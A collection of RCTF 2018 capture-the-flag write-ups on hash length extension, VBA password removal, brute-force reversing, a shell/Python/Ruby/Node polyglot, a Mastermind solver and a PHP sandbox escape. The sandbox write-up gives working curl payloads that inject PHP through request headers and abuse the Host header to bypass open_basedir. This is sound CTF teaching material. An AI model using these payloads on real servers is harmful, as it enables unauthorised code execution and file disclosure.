So the script creates a SHA-256 hash of `signkey` + `query`, where `signkey` is its private randomised key, and `query` is something like `product=Flag&price=99999×tamp=1526990158350980`. The problem is that this is not a HMAC, nor is the hash encrypted before given to us. The hash / message digest produced by SHA-256 is actually its entire internal state at that point, i.e. we know that if we knew `signkey`, and created the SHA-256 hash of `signkey` + `query`, we would have no more data in our memory that what the digest provides.
So we need to find a SHA-256 implementation, edit it so we can change its internal state, and attach our extra string at the end, in this case `&price=1`, which will override the previous price of the flag product and make it affordable for us. This sort of attack also requires duplicating the way the padding algorithm works, but luckily, the Python script reads our input via `raw_input()`, which lets us input null bytes and binary data.
For the exploit I chose to use Haxe, since it is a language I am familiar with and it has a simple, native implementation of SHA-256 in its standard library.
We don't know what the length of `signkey` is, only that it is between 8 and 32 characters long. So the exploit will check all 24 possibilities (which differ in padding and length information only).
([full exploit here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/scripts/cpushop/Main.hx))
After compiling, we can execute `neko exploit.n remote`, and with that we get:
`RCTF{ha5h_l3ngth_ex7ens10n_a77ack_1s_ez}` |
I have forgotten the password of my favourite password manager all what i have is this spreadsheet file.
We are given an xlsm file (Microsoft Excel 2007) with a protected vba macro.Some tricks to break the protection :
- http://datapigtechnologies.com/blog/index.php/hack-into-password-protected-vba-projects/- olevba command

then we use the secret code to open the keepass database and find the flag.
HZVI{k33p455_15_my_f4v0ur173_p455w0rd_m4n463r} |
**Description**
> attachment: https://drive.google.com/open?id=15zha76BScH2HlpLz4lw15poN2kLZIcEX
**Solution**
There is a lot of useless code in this program, and it is unnecessary to reverse it. The only critical function is:
```cint __cdecl sub_80488E0(char *s, __int64 c, int seed, int a5, int a6){ unsigned int v5; // ST4C_4 int i; // [esp+1Ch] [ebp-1Ch]
memset(s, 0, 0x20u); scanf("%s", s);//get input for ( i = 0; i <= 29; ++i ) { v5 = critical_hash(s[i], c, seed, a6, a5); printf("%lx\n", v5); } return i;}```
The second argument is a given constant; `s` is a buffer; the last 3 arguments are decided by debugging, which depends on seed that we input and the uninitialised local variable access (possibly UB?), and they can be differ based on input or separate program instances. However, what I did is to obtain these 3 arguments by gdb debugging with arbitrary input seed, and it works!
By the way, the first input in the main fuction is useless, it does not affect the result.
I did not reverse the `critical_hash` function, but did by bruteforce attack.
```c#include <stdio.h>#include <memory.h>
unsigned int keys[] ={0xB80C91FE,0x70573EFE,0xBEED92AE,0x7F7A8193,0x7390C17B,0x90347C6C,0xAA7A15DF,0xAA7A15DF,0x526BA076,0x153F1A32,0x545C15AD,0x7D8AA463,0x526BA076,0xFBCB7AA0,0x7D8AA463,0x9C513266,0x526BA076,0x6D7DF3E1,0xAA7A15DF,0x9C513266,0x1EDC3864,0x9323BC07,0x7D8AA463,0xFBCB7AA0,0x153F1A32,0x526BA076,0xF5650025,0xAA7A15DF,0x1EDC3864,0xB13AD888};
unsigned int critical_hash(unsigned int a1, unsigned long long a2, int a3, int a4, int a5){ unsigned long long v5; // rax unsigned int i; // [esp+1Ch] [ebp-ACh] unsigned int v8; // [esp+20h] [ebp-A8h] unsigned int j; // [esp+24h] [ebp-A4h] int ub_hash; // [esp+28h] [ebp-A0h] int s[32]; // [esp+2Ch] [ebp-9Ch] unsigned int v12; // [esp+ACh] [ebp-1Ch]
memset(s, 0, 0x20u); for ( i = 0; i <= 0x1D; ++i ) s[i] = (4 * a3 + ub_hash) ^ a5 ^ a4; v8 = a1; for ( j = 0; j <= 527; ++j ) { v5 = a2 >> (j & 0x1F); if ( j & 0x20 ) v5 = (v5 >> 32) | (v5 & 0xffffffff00000000LL) ; v8 = (v8 >> 1) ^ (((unsigned int)v5 ^ v8 ^ (v8 >> 16) ^ (1551120942 >> (((v8 >> 1) & 1) + 2 * (2 * (((v8 >> 20) & 1) + 2 * (2 * ((v8 & 0x80000000) != 0) + ((v8 >> 26) & 1))) + ((v8 >> 9) & 1))))) << 31); } return v8;}
int solve(){ unsigned int v5; // ST4C_4 int i; // [esp+1Ch] [ebp-1Ch] char flag[0x20]; memset(flag, 0, 0x20u);
for (i = 0; i <= 29; ++i ) { for (int c = 0; c < 256; ++c) { v5 = critical_hash(c, /*value obtained from gdb pwndbg*/0x1D082C23A72BE4C1LL, 0xffff9cc0, 0x6e00, 0x6e); if (v5 == keys[i]) { printf("%c", c); } } }
return i;}
int main(int argc, char const *argv[]){ solve(); return 0;}```
`RCTF{Kee1o9_1s_a1ready_so1ved}` |
**Description**
> Run it and get flag (but how?) (segfault is NOT a bug)> > attachment: https://drive.google.com/open?id=1ghFVktqDYM48YiJt-ppx6a-2JHH-wIKm
**Solution**
Apparently the simplest challenge of the CTF, the executable seems to contain the wine runtime and some emulated Windows functions, dialogs, Notepad stuff ...? Perhaps it runs properly on a Linux desktop with a graphical environment / X11?
For my actual solution however, I loaded the executable into radare and after analysing the functions with `aaa`, `afl` produced:
0x7f7f96534000 8 192 -> 194 obj.imp.__wine_main_argv 0x7f7f96545cd0 1 6 sym.imp.__wine_dll_register 0x7f7f96545ce0 1 6 sym.imp.__stack_chk_fail 0x7f7f96545cf0 21 270 -> 256 entry0 0x7f7f96545e00 3 33 sub._ITM_deregisterTMCloneTable_e00 0x7f7f96545e70 4 50 entry2.fini 0x7f7f96545eb0 5 5 -> 56 entry1.init 0x7f7f96545ec8 1 6 fcn.7f7f96545ec8 ... 0x7f7f96546238 1 6 fcn.7f7f96546238 0x7f7f96546481 5 256 sym.ShowLastError 0x7f7f96546581 6 295 sym.UpdateWindowCaption 0x7f7f965466a8 8 359 sym.DIALOG_StringMsgBox 0x7f7f96546a32 3 129 sym.FileExists 0x7f7f96547074 14 208 sym.DoCloseFile 0x7f7f965471fa 47 1579 sym.DoOpenFile 0x7f7f96547825 3 121 sym.DIALOG_FileNew ... 0x7f7f96549e44 1 65 sym.DIALOG_FilePageSetup 0x7f7f9654a192 1 124 sym.SetFileNameAndEncoding 0x7f7f9654a20e 9 195 sym.get_dpi 0x7f7f9654bb68 17 684 sym.NOTEPAD_DoFind 0x7f7f9654ce46 18 1356 sym.WinMain 0x7f7f9654fff8 1 8 reloc.__cxa_finalize
Of interest was really mainly `sym.WinMain`, so with `pdf @ sym.WinMain`, I found a line that said:
... | | 0x7f7f9654d263 488b4018 mov rax, qword [rax + 0x18] ; [0x18:8]=-1 ; 24 | | 0x7f7f9654d267 488d159a0800. lea rdx, str.RCTF_WelCOme_To_RCTF ; 0x7f7f9654db08 ; u"RCTF{WelCOme_To_RCTF}\n\n\u5700\u6168\u3f74\u5920\u756f\u6420\u6365\u6d6f\u6970\u656c\u2064\u656d\u3f3f" | | 0x7f7f9654d26e 4889c1 mov rcx, rax ...
And there was the flag:
`RCTF{WelCOme_To_RCTF}`
In fact, the flag was available in plaintext in the binary, but e.g. `strings` could not find it - it was encoded as UTF-16, taking two bytes per character. This is typical for Windows binaries, which is probably why this challenge used this setup. |
Easy reverse engineering challenge - solve this via observing the behaviour and brute forcing outputs.
https://advancedpersistentjest.com/2018/05/21/writeups-numbers-game-babyre-rctf-part-2/ |
**Description**
> the format of flag is flag{.+}> > attachment:> > https://drive.google.com/open?id=1JoAvVnUJOO-E-E2C2qGH1QDVAVu6-qiS
**Solution**
Opened the executable in IDA, and many SSE instructions were found :\(
For SSE instructions, it is even more clear to read assembly than to read the F5 decompiler result. After changing some of the data structure of the variable, F5 gives these results:
```c s[7] = -1LL; s[8] = -1LL; input[0] = 'UUUUUUUU'; input[1] = 'UUUUUUUU'; input[2] = 'UUUUUUUU'; input[3] = 'UUUUUUUU'; input[4] = 'UUUUUUUU'; input[5] = 'UUUUUUUU'; input[6] = 'UUUUUUUU'; input[7] = 'UUUUUUUU'; input[8] = 'UUUUUUUU'; input[9] = 'UUUUUUUU'; input[10] = 'UUUUUUUU'; input[11] = 'UUUUUUUU'; input[12] = 'UUUUUUUU'; input[13] = 'UUUUUUUU'; input[14] = 'UUUUUUUU'; input[15] = 'UUUUUUUU'; s[0] = ' emocleW'; // Welcome s[9] = -1LL; s[1] = ' FTCR ot'; // to RCTF s[10] = -1LL; s[2] = 'eH !8102'; // 2018! He s[11] = -1LL; s[3] = ' a si er'; // re is a s[12] = -1LL; s[13] = -1LL; s[14] = -1LL; s[15] = -1LL; s[4] = 'c ERybaB'; // BabyRE c s[5] = 'egnellah'; // hallenge s[6] = 'uoy rof '; // for you LOWORD(s[7]) = '.'; puts((const char *)s); __printf_chk(1LL, "Give me your flag: "); __isoc99_scanf("%127s", input);/* unsigned __int64 input[16]; // [rsp+0h] [rbp-198h] unsigned __int64 s[16]; // [rsp+80h] [rbp-118h] q_xmm_word result[8]; // [rsp+100h] [rbp-98h] //result is regarded as uint64_t when assigning the result //and regarded as uint128_t when checking the correctness of the result 00000000 q_xmm_word union ; (sizeof=0x10, mappedto_16)00000000 ; XREF: main+1B8/w00000000 ; main+1E1/w ...00000000 qwords two_qwords ?00000000 xmms xmmword ?00000000 q_xmm_word ends0000000000000000 ; ---------------------------------------------------------------------------0000000000000000 two_qwords struc ; (sizeof=0x10, mappedto_14)00000000 ; XREF: q_xmm_word/r00000000 low dq ?00000008 high dq ?00000010 two_qwords ends*/ result[0].qwords.low = sub_400BA0((q_xmm_word)(input[0] * (unsigned __int128)s[0]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[0].qwords.high = sub_400BA0((q_xmm_word)(input[1] * (unsigned __int128)s[1]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[1].qwords.low = sub_400BA0((q_xmm_word)(input[2] * (unsigned __int128)s[2]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[1].qwords.high = sub_400BA0((q_xmm_word)(input[3] * (unsigned __int128)s[3]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[2].qwords.low = sub_400BA0((q_xmm_word)(input[4] * (unsigned __int128)s[4]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[2].qwords.high = sub_400BA0((q_xmm_word)(input[5] * (unsigned __int128)s[5]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[3].qwords.low = sub_400BA0((q_xmm_word)(input[6] * (unsigned __int128)s[6]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[3].qwords.high = sub_400BA0((q_xmm_word)(input[7] * (unsigned __int128)s[7]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[4].qwords.low = sub_400BA0((q_xmm_word)(input[8] * (unsigned __int128)s[8]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[4].qwords.high = sub_400BA0((q_xmm_word)(input[9] * (unsigned __int128)s[9]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[5].qwords.low = sub_400BA0((q_xmm_word)(input[10] * (unsigned __int128)s[10]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[5].qwords.high = sub_400BA0((q_xmm_word)(input[11] * (unsigned __int128)s[11]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[6].qwords.low = sub_400BA0((q_xmm_word)(input[12] * (unsigned __int128)s[12]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[6].qwords.high = sub_400BA0((q_xmm_word)(input[13] * (unsigned __int128)s[13]), 0xFFFFFFFFFFFFFFC5LL, 0LL); result[7].qwords.low = sub_400BA0((q_xmm_word)(input[14] * (unsigned __int128)s[14]), 0xFFFFFFFFFFFFFFC5LL, 0LL); v3 = sub_400BA0((q_xmm_word)(input[15] * (unsigned __int128)s[15]), 0xFFFFFFFFFFFFFFC5LL, 0LL); v4 = _mm_load_si128((const __m128i *)result); result[7].qwords.high = v3;```
The logic is to regard 2 char arrays as arrays of `uint64_t`, multiply the input by `s` (the welcome message) and `0xFFFFFFFF` after that, then store the result in the result array.
Take a look at XMM instructions that follow:
```assemblymovdqa xmm1, xmmword ptr [rsp+198h+result] ; regard result as array of uint128_tmov qword ptr [rsp+198h+result+78h], raxmovdqa xmm0, xmmword ptr cs:unk_602070pxor xmm1, xmmword ptr cs:keys ; xmm1 = result[0] ^ keys[0]movdqa xmm4, xmmword ptr [rsp+198h+result+20h]pxor xmm0, xmmword ptr [rsp+198h+result+10h] ; xmm0 = keys[1] ^ result[1]movdqa xmm3, xmmword ptr [rsp+198h+result+30h]pxor xmm4, xmmword ptr cs:unk_602080 ; xmm4 = xor 2movdqa xmm2, xmmword ptr [rsp+198h+result+40h]pxor xmm3, xmmword ptr cs:unk_602090 ; xmm5 = xor3por xmm1, xmm0 ; xmm1 = [0] | [1]pxor xmm2, xmmword ptr cs:unk_6020A0 ; xmm2 = xor 4movdqa xmm0, xmmword ptr [rsp+198h+result+60h]por xmm4, xmm1 ; xmm4 = [0] | [1] | [2]movdqa xmm1, xmmword ptr [rsp+198h+result+50h]pxor xmm0, xmmword ptr cs:unk_6020C0 ; xmm0 = xor 6por xmm3, xmm4 ; xmm3 = [0] | [1] | [2] | [3]pxor xmm1, xmmword ptr cs:unk_6020B0 ; xmm1 = xor [5]por xmm2, xmm3 ; xmm2 = [0] | [1] | [2] | [3] | [4]movdqa xmm3, xmm2movdqa xmm2, xmm1movdqa xmm1, xmm0movdqa xmm0, xmmword ptr cs:unk_6020D0por xmm2, xmm3 ; xmm2 = [0] | [1] | [2] | [3] | [4] | [5]pxor xmm0, xmmword ptr [rsp+198h+result+70h] ; xmm0 = xor7por xmm1, xmm2por xmm0, xmm1movdqa xmm1, xmm0psrldq xmm1, 8por xmm0, xmm1movq rax, xmm0test rax, raxjz short loc_400A86 ; jmp if correctmov edi, offset s ; "Incorrect."call _puts```
The logic is, "xor" the result with the key, and "or" all of them together; if the final value obtained is 0, the answer is correct. This means that, all of the "xor" result must be 0, which means that result array from `sub_400BA0` must be same as key.
Interestingly, we can see the optimisation of the compiler, which generates the code that will be faster on out\-of\-order CPUs.
So take a look at `sub_400BA0`:
```cunsigned __int64 __fastcall sub_400BA0(q_xmm_word res, unsigned __int64 fc5, unsigned __int64 zero){ unsigned __int64 fc5_; // r10 unsigned __int64 result; // rax unsigned __int64 v5; // rdx __int64 v6; // rbp int v7; // ebp unsigned __int64 v8; // rbx unsigned __int64 v9; // r10 unsigned __int64 v10; // r8 q_xmm_word v11; // tt unsigned __int64 v12; // rsi q_xmm_word v13; // ax unsigned __int64 v14; // rcx __int64 v15; // rdi q_xmm_word v16; // ax q_xmm_word tmp; // tt
fc5_ = fc5; result = res.qwords.low; if ( zero ) { // can't reach here, zero is always 0, possibly obsfucation if ( zero > res.qwords.high ) { result = res.qwords.low; } else { _BitScanReverse64((unsigned __int64 *)&v6, zero); v7 = v6 ^ 0x3F; if ( v7 ) { v8 = fc5 << v7; v9 = (zero << v7) | (fc5 >> (64 - (unsigned __int8)v7)); v10 = res.qwords.low << v7; v11.qwords.low = ((unsigned __int64)res.qwords.low >> (64 - (unsigned __int8)v7)) | (res.qwords.high << v7); v11.qwords.high = res.qwords.high >> (64 - (unsigned __int8)v7); v12 = v11.xmms % v9; v13.xmms = (fc5 << v7) * (unsigned __int128)(unsigned __int64)(v11.xmms / v9); v14 = v8 * (unsigned __int128)(unsigned __int64)(v11.xmms / v9) >> 64; v15 = v8 * (v11.xmms / v9); if ( v12 < v13.qwords.high || v12 == v13.qwords.high && v10 < v13.qwords.low ) { v16.xmms = v13.xmms - __PAIR__(v9, v8); v14 = v16.qwords.high; v15 = v16.qwords.low; } result = ((v10 - v15) >> v7) | ((__PAIR__(v12, v10) - __PAIR__(v14, v15)) >> 64 << (64 - (unsigned __int8)v7)); } else if ( zero < res.qwords.high || fc5 <= res.qwords.low ) { result = res.qwords.low - fc5; } } } else { if ( fc5 <= res.qwords.high ) { if ( !fc5 ) fc5_ = 1 / 0uLL; // never, fc5 is always a constant tmp.qwords.low = res.qwords.low; // never, since for ret.high > fc5, the input is no longer readable tmp.qwords.high = res.qwords.high % fc5_; v5 = tmp.xmms % fc5_; } else {//only useful part v5 = res.xmms % fc5; } result = v5; } return result;}```
This function contains a lot useless code again: firstly, `zero` is always zero, so all the code in the first branch are useless; secondly, `fc5` is always non-zero, so the divivision by 0 exception can't occur; thirdly, `fc5 <= res.qwords.high` is always false, since for the result of multiplication to be larger than or equal to `0xFFFFFFFFFFFFFFC50000000000000000`, the input characters are not readable anymore, even if we took `0xFFFFFFFFFFFFFFFF` as the factor:
```python>>> hex(0xFFFFFFFFFFFFFFC50000000000000000 / 0xFFFFFFFFFFFFFFFF)'0xffffffffffffffc5L'```
Also, the bytes after the flag are `U` instead of `0xFF` as shown above; a number larger than `0xFFFFFFFFFFFFFFC5L` won't occur in the input array. So this means we need to solve the following equations:
```c(input[0] * 0x20656d6f636c6557) % 0xFFFFFFFFFFFFFFC5 == 0x2b7192452905e8fb(input[1] * 0x2046544352206f74) % 0xFFFFFFFFFFFFFFC5 == 0x7ba58f82bd898035(input[2] * 0x6548202138313032) % 0xFFFFFFFFFFFFFFC5 == 0xa3112746582e1434(input[3] * 0x2061207369206572) % 0xFFFFFFFFFFFFFFC5 == 0x163f756fcc221ab0(input[4] * 0x6320455279626142) % 0xFFFFFFFFFFFFFFC5 == 0xecc78e6fb9cba1fe(input[5] * 0x65676e656c6c6168) % 0xFFFFFFFFFFFFFFC5 == 0xdcdd8b49ea5d7e14(input[6] * 0x756f7920726f6620) % 0xFFFFFFFFFFFFFFC5 == 0xa2845fe0b3096f8e(input[7] * 0xffffffffffff002e) % 0xFFFFFFFFFFFFFFC5 == 0xaaaaaaaaaa975d1c(input[8] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[9] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[10] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[11] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[12] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[13] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[14] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3(input[15] * 0xffffffffffffffff) % 0xFFFFFFFFFFFFFFC5 == 0x55555555555559a3```
These would take too long to brute-force (2^64-ish possibilities for each entry of the `input` array). But, multiply-modulo-compare is clearly just a [linear congruence](https://en.wikipedia.org/wiki/Chinese_remainder_theorem). A very fast algorithm to solve these is Euclid's extended algorithm.
([solver script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/scripts/babyre2.py))
666c61677b737461 795f7072696d655f 737461795f696e76 65727469626c655f 617761795f66726f 6d5f627275746566 6f7263657d005555 5555555555555555 5555555555555555 5555555555555555 5555555555555555 5555555555555555 5555555555555555 5555555555555555 5555555555555555 5555555555555555
And after decoding:
`flag{stay_prime_stay_invertible_away_from_bruteforce}` |
We had to give the names of 15 commands matching `\w+` , 4 of them from `php, python3, ruby, bash, node`, and a file `food` such that the outputs of `cat food` and `<command> food` match, checked with `timeout 5 diff -Z <(cat food) <(eachCatNameYouProvided food)`, executed in a docker box:
```FROM ubuntu:latestENV TZ=Asia/ShanghaiRUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezoneRUN apt-get update && apt-get install -y php python3 nodejs ruby && mkdir /appWORKDIR /app
# build: docker build -t rctf_cats .# judge: docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro rctf_cats bash -c "timeout 5 diff -Z <(cat food) <(eachCatNameYouProvided food)"```
So we need to write a fake quine that works in `php, python3, ruby, bash, node`.
```"true$(cat food > /proc/$$/fd/1)"exit=1exita = ["require('fs').readFile('food', 'utf8', (err, data) => console.log(data))", "print (0 and File.read('food') or open('food').read())"]eval(a[10000000000000001 - 10000000000000000])```
PHP is easy. As long as we don't have a php tag, it just prints out the file.Let us go over the lines:
1. In bash `$(cat food > /proc/$$/fd/1)` writes the contents of `food` into the standard output of bash: `$$` expands to the process id of bash and file descriptor 1 is the standard output. Then `$(cat food > /proc/$$/fd/1)` expands to the empty string and `true` is called which does nothing. In python, ruby and node this line is just treated as a string2. Define (for node) or overwrite (for python and ruby) `exit` such that line 3 neither fails nor exits.3. Exit in bash. Just an expression in the other languages.4. Define two strings to be evaluated. The first one is for node and just prints the file `food`. The second is a polyglot for python and ruby. It takes advantage of the short circuit operators `and` and `or` together with the fact that a 0 is truthy in ruby and falsy in python. Hence, in ruby `File.read('food')` is evaluated and in python `open('food').read()`.5. Evaluate `a[0]` in node in `a[1]` in python and ruby. `10000000000000001 - 10000000000000000` is 0 in node due the lack of precision in large floating point numbers. Python and ruby support big integers natively.
Together with aliases, we now have "cats"```node, js, nodejsphppython3, python3msh, dash, bashruby```For the remaining 5 we chose `paste, more, tail, head, uniq`; they just print the file contents, in this case.
## Improved version
After the contest we came up with:
```cat=1;food=1;cat < food;exit=1;exit;a=["require('fs').readFile('food', 'utf8', (err, data) => console.log(data))", "print (0 and File.read('food') or open('food').read())"]eval(a[10000000000000001 - 10000000000000000])```
This allows us to add `rbash` (`$()` is not allowed in restricted mode), `sort` and `shuf` (with 50% chance of working; the linebreak appears to be necessary as `a[...]` is invalid bash syntax). |
**Description**
> LUL dat font> > http://r-cursive.ml> > hint: If you get stuck after arbitary code execution, try to escape the sandbox. phpinfo may help you figure out how the sandbox works.
**Solution**
After disabling the front-end font security (!), the page presents us with its source code:
<style>code{font-family: Segoe Script, Brush Script MT, cursive; font-size: 1.337em;}</style>
We can also look at the `template` file:
.sandbox.r-cursive.ml/` we are presented with exactly the same source code as in `template` above, but with the hash inserted.
There is an `eval`! But we need to provide the argument / code for it to run via the `cmd` GET parameter. And before `eval` is executed, the parameter is checked - it has to match the regular expression:
/[^\W_]+\((?R)?\)/
The first part, `[^\W_]+` is easy enough to understand - basically we can use simple functions with names consisting of `[A-Za-z0-9]` (not the underscore though). The `(?R)?` bit in parentheses was new to me, but `(?R)` simply means "repeat the whole pattern", and `?` makes it optional. So it is a recursive regular expression, which can match strings like `a()`, `something(else())`, `etc(etc(etc()))`. So `preg_replace` replaces these strings with the empty string, and the result of this must match `;`. So, to do some basic information gathering:
http://<token>.sandbox.r-cursive.ml:1337/?cmd=phpinfo();
From the resulting page (as well as more involved commands perhaps), we can summarise:
- `open_basedir=/var/www/sandbox/<token>/:/tmp/` - we can only access our current directory and `/tmp`; this applies to basically all PHP functions that we might want to use, e.g. `fopen`, `file_get_contents`, `include`, etc - `disable_functions=system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link` - everything useful is disabled, including environmental variable setting and mail (which would enable us to run arbitrary binaries via `LD_PRELOAD` and upload to `/tmp`) - `disable_classes` - also lists some useful classes, not that important - `auto_prepend_file=/var/www/sandbox/init.php` - interesting - Apache 2 loaded modules: `core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_deflate mod_dir mod_env mod_filter mod_mime prefork mod_negotiation mod_php5 mod_reqtimeout mod_rewrite mod_setenvif mod_status mod_vhost_alias` - also interesting
The last two points are worth investigating in greater detail. But first, the hint on the challenge said we should first get arbitrary code execution. We can only execute functions applied to results of functions, or functions that take no arguments. This is not terribly useful, we need to find a way to provide additional input and execute that.
Clearly `eval` is enabled, but what do we evaluate? [`getallheaders`](https://php.net/manual/en/function.getallheaders.php) is a useful function enabled on Apache servers. It returns an array of all of the request headers, which we can modify of course. However, if an array is cast to a string in PHP, it just turns into `"Array"`, so we can't pass this directly to `eval`. Something like `array_pop` would be useful, but remember - the regular expression disallows underscores. In the [same section](http://php.net/manual/en/ref.array.php), however, we can find [`current`](http://php.net/manual/en/function.current.php) which "returns the current element in an array". Luckily enough, the current element of an array is the first element by default, unless we iterate it somehow. And so:
$ curl -A "echo 'hello world';" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
This prints out `hello world` as expected and clearly that `echo` command is not of the recursive regular expression form. So we have arbitrary code execution!
Now let's think about how to "escape the sandbox". If we are believe that the homepage at `http://r-cursive.ml/` showed us its full source code, then our custom subdomain was created just by creating a directory in `/var/www/sandbox` and putting an `index.php` into it! Normally to configure a subdomain like this in Apache requires a `VirtualHost` directive in the configuration and reloading the server, but this was clearly not done.
But, from `phpinfo();`, we found out that the module [`mod_vhost_alias`](https://httpd.apache.org/docs/2.2/mod/mod_vhost_alias.html) is loaded. It allows a wildcard virtual host to be defined, then determine the correct document root to use for each virtual host based on ... the `Host` header provided by us. Naturally we control this header as well, although we still need to make sure we match the alias.
We can poke around a bit:
$ curl -H "Host: <token>.sandbox.r-cursive.ml" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));" $ curl -H "Host: <token>.r-cursive.ml" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));" $ curl -H "Host: <token>.ml" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));" $ curl -H "Host: <token>" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));" $ curl -H "Host: <token>.whatever.com" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
All of the above output the exact same thing, and it is our custom directory. This means that the directory to use is determined solely on the first part of the `Host` header. The fact that we are providing our URL might be confusing, but in fact `curl` only uses this to do DNS lookup. The `-H` overrides the header `curl` would normally send. This also works:
$ curl -H "Host: <token>" -A "echo getcwd();" "http://x.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
Now our custom token is only present in the `Host` header. Even this works:
$ curl -H "Host: <token>" -A "echo getcwd();" "http://r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
In fact, the homepage and the custom userpages are hosted at the same IP, but the userpages are on port 1337. So with that we can guess that somewhere in Apache configuration, there is a bit like this:
<VirtualHost *:1337> ServerAlias * php_admin_value auto_prepend_file "/var/www/sandbox/init.php" VirtualDocumentRoot /var/www/sandbox/%1 </VirtualHost>
Where `%1` refers to the first part of the `Host` header. Then `init.php` sets the `open_basedir` setting to the CWD (+ `/tmp/`). How can we abuse this? We would like to see the source of `init.php`. For that we need `open_basedir` to include `/var/www/sandbox`. Well, in Linux the path `/var/www/sandbox//` is the same as `/var/www/sandbox`. How can we make the path be empty? Playing around with the `Host` header, a lot of ideas get rejected by the server sending us `400 Bad Request`. Curiously enough, a leading dot `.` is allowed, so we can provide `Host: .a` as our custom header.
$ curl -H "Host: .a" "http://r-cursive.ml:1337/"
This now says `403 Forbidden`! But this:
$ curl -H "Host: .a" "http://r-cursive.ml:1337/init.php"
Does not say anything. The request goes through and we load the file `init.php`, but it doesn't print anything. Well, we are now in `/var/www/sandbox` - we can get back to our home directory:
$ curl -H "Host: .a" "http://r-cursive.ml:1337/<token>/?cmd=phpinfo();"
Now `open_basedir` is `/var/www/sandbox:/tmp`. So, finally:
$ curl -H "Host: .a" -A "show_source('../init.php');" "http://r-cursive.ml:1337/<token>/?cmd=eval(current(getallheaders()));"
It works!
`RCTF{apache_mod_vhost_alias_should_be_configured_correctly}` |
**Description**
> Guess Guess Guess> > nc 149.28.139.172 10002
**Solution**
Upon connecting, we get a standard PoW prompt:
sha256(****+UJBS55MXKhMOcSQO) == 4e3cefcf649092ef546aaabfcfa628e63377ce08bf17012f628ac48fbba2307d Give me XXXX:
([simple PoW solver](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/scripts/pow.py))
After solving the PoW:
o__ __o o__ __o ____o__ __o____ o__ __o__/_ <| v\ /v v\ / \ / \ <| v / \ <\ /> <\ \o/ < > \o/ o/ o/ | | |__ _<| <| < > o__/_ | \ \ | | <o> \o \ / o <o> | v\ o o <| | / \ <\ <\__ __/> / \ / \ In every round of the game, I'll choose some different numbers from the figure interval. You are required to guess those numbers,ofc so does the order of them. On each surmise of yours, 2 numbers will be told as a hint for you, but you need to speculate the fuctions of these 2 figures. (XD GLHF ================== round 1 ================== Give me 4 numbers, in[0, 10), You can only try 6 times
Some string format vulns and overflows were tried, but no luck, we actually have to solve the game properly. Providing 4 numbers returns e.g.:
Nope. 1, 0
Should be familiar, it's the [Mastermind game](https://en.wikipedia.org/wiki/Mastermind_(board_game)), apparently also known as "cows and bulls". In each round, there is a hidden sequence of four numbers, 0 through 9. We get 6 attempts to guess the correct sequence. With each incorrect attempt, we get two pieces of feedback:
- "blacks" - how many of our numbers are in the hidden sequence AND in the same position - "whites" - how many of our numbers are in the hidden sequence but NOT in the same position
So I ~~stole~~ adapted a Mastermind solver from [here](https://github.com/Michael0x2a/mastermind-solver/blob/master/python/solve_mastermind.py) (thanks @Michael0x2a!). The principle is simple:
1. generate a pool of all possible guesses, for 10 different numbers and a sequence of 4 numbers, there are 10000 possible sequences 2. pick a guess and get feedback for it 3. if incorrect, eliminate all guesses from the pool that are inconsistent with the feedback and go back to step 2
The first guess is always `[0, 0, 1, 1]` for the 10 number 4-sequence (as it turns out all rounds are actually like this). There is an additional heuristic in picking a good guess, namely, a guess which may reduce the pool to the fewest remaining sequences.
I added socket interaction and the PoW solver to make it automated. After letting it run for a bit, I was disappointed to see that it rarely got past 4 rounds, and at this point I found out on the IRC that there are 8 rounds before you get the flag.
Mostly hopeless, I looked at the correct solutions it got to the few rounds it managed. Interestingly enough, among all the correct solutions, there was never a sequence with duplicate numbers! So, I removed these sequences from the initial pool and made the initial guess to always be `[0, 1, 2, 3]`.
([full script here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/scripts/number-game-solver.py))
